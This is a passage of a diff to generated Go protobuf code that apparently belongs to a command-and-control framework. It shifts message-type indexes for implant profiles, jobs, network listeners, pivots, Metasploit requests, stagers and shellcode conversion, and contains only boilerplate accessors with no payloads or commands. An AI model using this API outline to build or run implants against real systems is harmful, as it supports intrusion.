protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3735,7 +3853,7 @@ func (x *ImplantProfiles) String() string { func (*ImplantProfiles) ProtoMessage() {} func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3748,7 +3866,7 @@ func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfiles.ProtoReflect.Descriptor instead. func (*ImplantProfiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{29} + return file_clientpb_client_proto_rawDescGZIP(), []int{31} } func (x *ImplantProfiles) GetProfiles() []*ImplantProfile { @@ -3769,7 +3887,7 @@ type RegenerateReq struct { func (x *RegenerateReq) Reset() { *x = RegenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3782,7 +3900,7 @@ func (x *RegenerateReq) String() string { func (*RegenerateReq) ProtoMessage() {} func (x *RegenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3795,7 +3913,7 @@ func (x *RegenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RegenerateReq.ProtoReflect.Descriptor instead. func (*RegenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{30} + return file_clientpb_client_proto_rawDescGZIP(), []int{32} } func (x *RegenerateReq) GetImplantName() string { @@ -3822,7 +3940,7 @@ type Job struct { func (x *Job) Reset() { *x = Job{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3835,7 +3953,7 @@ func (x *Job) String() string { func (*Job) ProtoMessage() {} func (x *Job) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3848,7 +3966,7 @@ func (x *Job) ProtoReflect() protoreflect.Message { // Deprecated: Use Job.ProtoReflect.Descriptor instead. func (*Job) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{31} + return file_clientpb_client_proto_rawDescGZIP(), []int{33} } func (x *Job) GetID() uint32 { @@ -3911,7 +4029,7 @@ type Jobs struct { func (x *Jobs) Reset() { *x = Jobs{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3924,7 +4042,7 @@ func (x *Jobs) String() string { func (*Jobs) ProtoMessage() {} func (x *Jobs) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3937,7 +4055,7 @@ func (x *Jobs) ProtoReflect() protoreflect.Message { // Deprecated: Use Jobs.ProtoReflect.Descriptor instead. func (*Jobs) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{32} + return file_clientpb_client_proto_rawDescGZIP(), []int{34} } func (x *Jobs) GetActive() []*Job { @@ -3958,7 +4076,7 @@ type KillJobReq struct { func (x *KillJobReq) Reset() { *x = KillJobReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3971,7 +4089,7 @@ func (x *KillJobReq) String() string { func (*KillJobReq) ProtoMessage() {} func (x *KillJobReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3984,7 +4102,7 @@ func (x *KillJobReq) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJobReq.ProtoReflect.Descriptor instead. func (*KillJobReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{33} + return file_clientpb_client_proto_rawDescGZIP(), []int{35} } func (x *KillJobReq) GetID() uint32 { @@ -4006,7 +4124,7 @@ type KillJob struct { func (x *KillJob) Reset() { *x = KillJob{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4019,7 +4137,7 @@ func (x *KillJob) String() string { func (*KillJob) ProtoMessage() {} func (x *KillJob) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4032,7 +4150,7 @@ func (x *KillJob) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJob.ProtoReflect.Descriptor instead. func (*KillJob) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{34} + return file_clientpb_client_proto_rawDescGZIP(), []int{36} } func (x *KillJob) GetID() uint32 { @@ -4062,7 +4180,7 @@ type MTLSListenerReq struct { func (x *MTLSListenerReq) Reset() { *x = MTLSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4075,7 +4193,7 @@ func (x *MTLSListenerReq) String() string { func (*MTLSListenerReq) ProtoMessage() {} func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[37] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4088,7 +4206,7 @@ func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MTLSListenerReq.ProtoReflect.Descriptor instead. func (*MTLSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{35} + return file_clientpb_client_proto_rawDescGZIP(), []int{37} } func (x *MTLSListenerReq) GetHost() string { @@ -4123,7 +4241,7 @@ type MTLSListener struct { func (x *MTLSListener) Reset() { *x = MTLSListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4136,7 +4254,7 @@ func (x *MTLSListener) String() string { func (*MTLSListener) ProtoMessage() {} func (x *MTLSListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4149,7 +4267,7 @@ func (x *MTLSListener) ProtoReflect() protoreflect.Message { // Deprecated: Use MTLSListener.ProtoReflect.Descriptor instead. func (*MTLSListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{36} + return file_clientpb_client_proto_rawDescGZIP(), []int{38} } func (x *MTLSListener) GetJobID() uint32 { @@ -4175,7 +4293,7 @@ type WGListenerReq struct { func (x *WGListenerReq) Reset() { *x = WGListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4188,7 +4306,7 @@ func (x *WGListenerReq) String() string { func (*WGListenerReq) ProtoMessage() {} func (x *WGListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4201,7 +4319,7 @@ func (x *WGListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGListenerReq.ProtoReflect.Descriptor instead. func (*WGListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{37} + return file_clientpb_client_proto_rawDescGZIP(), []int{39} } func (x *WGListenerReq) GetHost() string { @@ -4257,7 +4375,7 @@ type WGListener struct { func (x *WGListener) Reset() { *x = WGListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := &file_clientpb_client_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4270,7 +4388,7 @@ func (x *WGListener) String() string { func (*WGListener) ProtoMessage() {} func (x *WGListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := &file_clientpb_client_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4283,7 +4401,7 @@ func (x *WGListener) ProtoReflect() protoreflect.Message { // Deprecated: Use WGListener.ProtoReflect.Descriptor instead. func (*WGListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{38} + return file_clientpb_client_proto_rawDescGZIP(), []int{40} } func (x *WGListener) GetJobID() uint32 { @@ -4309,7 +4427,7 @@ type DNSListenerReq struct { func (x *DNSListenerReq) Reset() { *x = DNSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[41] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4322,7 +4440,7 @@ func (x *DNSListenerReq) String() string { func (*DNSListenerReq) ProtoMessage() {} func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[41] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4335,7 +4453,7 @@ func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSListenerReq.ProtoReflect.Descriptor instead. func (*DNSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{39} + return file_clientpb_client_proto_rawDescGZIP(), []int{41} } func (x *DNSListenerReq) GetDomains() []string { @@ -4391,7 +4509,7 @@ type DNSListener struct { func (x *DNSListener) Reset() { *x = DNSListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[42] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4404,7 +4522,7 @@ func (x *DNSListener) String() string { func (*DNSListener) ProtoMessage() {} func (x *DNSListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[42] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4417,7 +4535,7 @@ func (x *DNSListener) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSListener.ProtoReflect.Descriptor instead. func (*DNSListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{40} + return file_clientpb_client_proto_rawDescGZIP(), []int{42} } func (x *DNSListener) GetJobID() uint32 { @@ -4450,7 +4568,7 @@ type HTTPListenerReq struct { func (x *HTTPListenerReq) Reset() { *x = HTTPListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[43] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4463,7 +4581,7 @@ func (x *HTTPListenerReq) String() string { func (*HTTPListenerReq) ProtoMessage() {} func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[43] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4476,7 +4594,7 @@ func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPListenerReq.ProtoReflect.Descriptor instead. func (*HTTPListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{41} + return file_clientpb_client_proto_rawDescGZIP(), []int{43} } func (x *HTTPListenerReq) GetDomain() string { @@ -4583,7 +4701,7 @@ type NamedPipesReq struct { func (x *NamedPipesReq) Reset() { *x = NamedPipesReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[44] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4596,7 +4714,7 @@ func (x *NamedPipesReq) String() string { func (*NamedPipesReq) ProtoMessage() {} func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[44] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4609,7 +4727,7 @@ func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipesReq.ProtoReflect.Descriptor instead. func (*NamedPipesReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{42} + return file_clientpb_client_proto_rawDescGZIP(), []int{44} } func (x *NamedPipesReq) GetPipeName() string { @@ -4639,7 +4757,7 @@ type NamedPipes struct { func (x *NamedPipes) Reset() { *x = NamedPipes{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[45] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4652,7 +4770,7 @@ func (x *NamedPipes) String() string { func (*NamedPipes) ProtoMessage() {} func (x *NamedPipes) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[45] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4665,7 +4783,7 @@ func (x *NamedPipes) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipes.ProtoReflect.Descriptor instead. func (*NamedPipes) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{43} + return file_clientpb_client_proto_rawDescGZIP(), []int{45} } func (x *NamedPipes) GetSuccess() bool { @@ -4702,7 +4820,7 @@ type TCPPivotReq struct { func (x *TCPPivotReq) Reset() { *x = TCPPivotReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[46] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4715,7 +4833,7 @@ func (x *TCPPivotReq) String() string { func (*TCPPivotReq) ProtoMessage() {} func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[46] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4728,7 +4846,7 @@ func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivotReq.ProtoReflect.Descriptor instead. func (*TCPPivotReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{44} + return file_clientpb_client_proto_rawDescGZIP(), []int{46} } func (x *TCPPivotReq) GetAddress() string { @@ -4758,7 +4876,7 @@ type TCPPivot struct { func (x *TCPPivot) Reset() { *x = TCPPivot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[47] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4771,7 +4889,7 @@ func (x *TCPPivot) String() string { func (*TCPPivot) ProtoMessage() {} func (x *TCPPivot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[47] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4784,7 +4902,7 @@ func (x *TCPPivot) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivot.ProtoReflect.Descriptor instead. func (*TCPPivot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{45} + return file_clientpb_client_proto_rawDescGZIP(), []int{47} } func (x *TCPPivot) GetSuccess() bool { @@ -4819,7 +4937,7 @@ type HTTPListener struct { func (x *HTTPListener) Reset() { *x = HTTPListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[48] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4832,7 +4950,7 @@ func (x *HTTPListener) String() string { func (*HTTPListener) ProtoMessage() {} func (x *HTTPListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[48] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4845,7 +4963,7 @@ func (x *HTTPListener) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPListener.ProtoReflect.Descriptor instead. func (*HTTPListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{46} + return file_clientpb_client_proto_rawDescGZIP(), []int{48} } func (x *HTTPListener) GetJobID() uint32 { @@ -4866,7 +4984,7 @@ type Sessions struct { func (x *Sessions) Reset() { *x = Sessions{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[49] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4879,7 +4997,7 @@ func (x *Sessions) String() string { func (*Sessions) ProtoMessage() {} func (x *Sessions) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[49] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4892,7 +5010,7 @@ func (x *Sessions) ProtoReflect() protoreflect.Message { // Deprecated: Use Sessions.ProtoReflect.Descriptor instead. func (*Sessions) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{47} + return file_clientpb_client_proto_rawDescGZIP(), []int{49} } func (x *Sessions) GetSessions() []*Session { @@ -4915,7 +5033,7 @@ type RenameReq struct { func (x *RenameReq) Reset() { *x = RenameReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[50] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4928,7 +5046,7 @@ func (x *RenameReq) String() string { func (*RenameReq) ProtoMessage() {} func (x *RenameReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[50] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4941,7 +5059,7 @@ func (x *RenameReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RenameReq.ProtoReflect.Descriptor instead. func (*RenameReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{48} + return file_clientpb_client_proto_rawDescGZIP(), []int{50} } func (x *RenameReq) GetSessionID() string { @@ -4976,7 +5094,7 @@ type GenerateReq struct { func (x *GenerateReq) Reset() { *x = GenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[51] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4989,7 +5107,7 @@ func (x *GenerateReq) String() string { func (*GenerateReq) ProtoMessage() {} func (x *GenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[51] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5002,7 +5120,7 @@ func (x *GenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GenerateReq.ProtoReflect.Descriptor instead. func (*GenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{49} + return file_clientpb_client_proto_rawDescGZIP(), []int{51} } func (x *GenerateReq) GetConfig() *ImplantConfig { @@ -5023,7 +5141,7 @@ type Generate struct { func (x *Generate) Reset() { *x = Generate{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[52] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5036,7 +5154,7 @@ func (x *Generate) String() string { func (*Generate) ProtoMessage() {} func (x *Generate) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[52] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5049,7 +5167,7 @@ func (x *Generate) ProtoReflect() protoreflect.Message { // Deprecated: Use Generate.ProtoReflect.Descriptor instead. func (*Generate) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{50} + return file_clientpb_client_proto_rawDescGZIP(), []int{52} } func (x *Generate) GetFile() *commonpb.File { @@ -5075,7 +5193,7 @@ type MSFReq struct { func (x *MSFReq) Reset() { *x = MSFReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[53] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5088,7 +5206,7 @@ func (x *MSFReq) String() string { func (*MSFReq) ProtoMessage() {} func (x *MSFReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[53] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5101,7 +5219,7 @@ func (x *MSFReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFReq.ProtoReflect.Descriptor instead. func (*MSFReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{51} + return file_clientpb_client_proto_rawDescGZIP(), []int{53} } func (x *MSFReq) GetPayload() string { @@ -5163,7 +5281,7 @@ type MSFRemoteReq struct { func (x *MSFRemoteReq) Reset() { *x = MSFRemoteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[54] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5176,7 +5294,7 @@ func (x *MSFRemoteReq) String() string { func (*MSFRemoteReq) ProtoMessage() {} func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[54] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5189,7 +5307,7 @@ func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFRemoteReq.ProtoReflect.Descriptor instead. func (*MSFRemoteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{52} + return file_clientpb_client_proto_rawDescGZIP(), []int{54} } func (x *MSFRemoteReq) GetPayload() string { @@ -5259,7 +5377,7 @@ type StagerListenerReq struct { func (x *StagerListenerReq) Reset() { *x = StagerListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[55] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5272,7 +5390,7 @@ func (x *StagerListenerReq) String() string { func (*StagerListenerReq) ProtoMessage() {} func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[55] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5285,7 +5403,7 @@ func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListenerReq.ProtoReflect.Descriptor instead. func (*StagerListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{53} + return file_clientpb_client_proto_rawDescGZIP(), []int{55} } func (x *StagerListenerReq) GetProtocol() StageProtocol { @@ -5355,7 +5473,7 @@ type StagerListener struct { func (x *StagerListener) Reset() { *x = StagerListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[56] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5368,7 +5486,7 @@ func (x *StagerListener) String() string { func (*StagerListener) ProtoMessage() {} func (x *StagerListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[56] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5381,7 +5499,7 @@ func (x *StagerListener) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListener.ProtoReflect.Descriptor instead. func (*StagerListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{54} + return file_clientpb_client_proto_rawDescGZIP(), []int{56} } func (x *StagerListener) GetJobID() uint32 { @@ -5404,7 +5522,7 @@ type ShellcodeRDIReq struct { func (x *ShellcodeRDIReq) Reset() { *x = ShellcodeRDIReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[57] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5417,7 +5535,7 @@ func (x *ShellcodeRDIReq) String() string { func (*ShellcodeRDIReq) ProtoMessage() {} func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[57] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5430,7 +5548,7 @@ func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDIReq.ProtoReflect.Descriptor instead. func (*ShellcodeRDIReq) Descriptor() ([]byte, []int) { - return 